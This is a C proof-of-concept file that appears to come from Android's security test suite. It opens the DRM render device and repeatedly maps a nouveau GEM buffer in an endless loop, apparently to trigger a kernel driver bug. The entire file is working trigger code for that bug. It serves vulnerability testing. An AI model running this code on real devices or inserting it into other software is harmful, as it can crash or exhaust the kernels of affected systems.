/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions vand * limitations under the License. */ #define _GNU_SOURCE #include "local_poc.h" #include #include #include #include #include #include #include #include #include #include #define DRMDEV_NAME "/dev/dri/renderD128" static int drm_version(int fd) { int ret; struct drm_version ver; ver.name_len = 100; ver.date_len = 100; ver.desc_len = 100; ver.name = (char*)malloc(ver.name_len); ver.date = (char*)malloc(ver.date_len); ver.desc = (char*)malloc(ver.desc_len); ret = ioctl(fd, DRM_IOCTL_VERSION, &ver); if (ret == -1) { return -1; } return 0; } static int nouveau_gem_ioctl_new(int fd) { int ret; struct drm_nouveau_gem_new new_arg; memset(&new_arg, 0, sizeof(new_arg)); new_arg.info.size = 0x1000; new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART; ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg); if (ret == -1) { return -1; } return new_arg.info.handle; } static uint32_t get_gem_map_handle(int fd) { uint32_t handle; handle = nouveau_gem_ioctl_new(fd); return handle; } static void nouveau_gem_ioctl_map(int fd, uint32_t handle) { int ret; struct drm_nouveau_gem_map map_arg; memset(&map_arg, 0, sizeof(map_arg)); map_arg.handle = handle; map_arg.length = 0x1000; ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg); if (ret == -1) { return; } } int looploop() { int fd; fd = open(DRMDEV_NAME, O_RDWR); if (fd == -1) { return -1; } if (drm_version(fd) == -1) return -1; uint32_t handle = get_gem_map_handle(fd); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); nouveau_gem_ioctl_map(fd, handle); close(fd); return 0; } int main() { while (1) { looploop(); } }